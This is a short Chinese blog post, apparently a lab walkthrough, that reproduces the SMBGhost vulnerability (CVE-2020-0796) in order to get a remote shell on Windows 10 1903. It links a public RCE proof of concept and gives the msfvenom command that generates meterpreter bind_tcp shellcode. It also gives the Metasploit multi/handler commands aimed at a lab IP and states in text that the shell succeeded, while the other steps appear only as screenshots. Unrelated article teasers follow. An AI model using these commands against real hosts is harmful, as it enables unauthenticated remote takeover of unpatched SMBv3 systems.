漏洞复现--CVE-2020-0796getshell

简介: 漏洞复现--CVE-2020-0796getshell

漏洞描述:


该漏洞是由SMBv3处理恶意制作的压缩数据包,未经认证攻击者可能利用此漏洞执行任意代码。



测试环境及工具:



windows10 1903 64位下载:



http://xz1.yes025.com/iso/cn_windows_10_consumer_editions_version_1903_x64_dvd_8f05241d.iso



CVE-2020-0796 "poc"下载:



https://github.com/chompie1337/SMBGhost_RCE_PoC



生成正向连接木马:

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b '\x00' -i 1 -f python

1b4497da3a2bfdf22db87272542f33a7_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


msf监听:


use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 4444
set rhost 192.168.1.144
run

d3050d5a5230a94d2c74421aebd17d88_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png



poc替换:


84225836304b213b5ca0b2088ab4f5c8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


修改内存为4G以上:


78c46d344fe86991b6ec940dabb07496_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png



成功getshell


ae39373b22032e8ab7cfcff3ee9f9a8e_640_wx_fmt=gif&wxfrom=5&wx_lazy=1.gif


相关文章
|
人工智能 光互联 数据中心
横跨半世纪的光通讯巅峰盛会OFC落幕,阿里云在全球光通信顶会OFC2025上发表多个创新成果和报告
​2025年3月,全球光通讯领域最具标杆意义的年度盛会——OFC(光纤通信学术会议暨展览会)迎来其50周年里程碑,在美国加州旧金山盛大开幕。来自全球83个国家和地区,约17000名专家、学者、企业和政府人员齐聚美国,共同融入这场知识与思想的盛会。
|
编解码 算法 数据安全/隐私保护
手机常用压缩工具推荐,RAR,ZIP,7Z解压缩,zip解压缩,Bandizip,ZArchiver等解压工具
在手机上解压RAR、ZIP、7Z等格式文件时,选择一款功能强大的解压缩工具至关重要。本文介绍了多款实用的解压软件,如7Z解压缩、ZArchiver、RAR、Bandizip等,它们不仅支持多种压缩格式的解压和压缩,还具备文件管理、加密、分享、媒体预览等功能。无论是处理文档、图片还是视频,这些工具都能提供高效便捷的解决方案,满足日常使用需求。
4139 0
|
Oracle Java 关系型数据库
Tomcat和JDK的详细安装、下载和环境配置指南
以上就是JDK和Tomcat的下载、安装和环境配置的详细步骤。希望这个指南能帮助你顺利完成设置。
1000 32
ly~
|
安全 生物认证 数据库
有哪些常见的身份验证错误和漏洞?
本文介绍了常见的网络安全问题,包括弱密码、密码重用、身份验证流程缺陷、会话管理问题和社会工程学攻击。具体涉及简单密码易被破解、多平台使用同一密码、缺乏多因素认证、身份验证绕过、会话劫持与固定、钓鱼攻击和伪装攻击等。这些问题可能导致用户信息泄露和系统安全风险。
ly~
2032 5
HAProxy的高级配置选项-haproxy预定义(内置)acl使用案例
这篇文章介绍了HAProxy的高级配置选项,特别是如何使用HAProxy预定义(内置)的ACL进行流量控制和路由分发。通过实战案例,展示了如何利用内置ACL如HTTP_1.1和TRUE结合自定义ACL来匹配请求并分配到不同的后端服务器,以实现复杂的流量管理策略。
423 11
HAProxy的高级配置选项-haproxy预定义(内置)acl使用案例
|
安全 网络安全 数据安全/隐私保护
Pikachu Over Permission 通关解析
Pikachu Over Permission 通关解析
|
算法 安全 量子技术
量子计算与密码学:加密技术的新挑战
量子计算的崛起对密码学提出了新挑战。本文探讨了量子计算对现有加密技术的影响,分析了公钥密码、对称密码及通信安全所面临的威胁,并介绍了后量子加密算法等应对措施,展望了未来加密技术的发展趋势。
1262 1
|
移动开发 编解码 缓存
基于 H5 Canvas "指纹识别" 技术 【浏览器指纹 VS Canvas指纹】
基于 H5 Canvas "指纹识别" 技术 【浏览器指纹 VS Canvas指纹】
1589 0
基于 H5 Canvas "指纹识别" 技术 【浏览器指纹 VS Canvas指纹】
解决 macbook m1 苹果笔记本电脑 关闭盖子 休眠
解决 macbook m1 苹果笔记本电脑 关闭盖子 休眠
1203 2
|
存储 人工智能 安全

热门文章

最新文章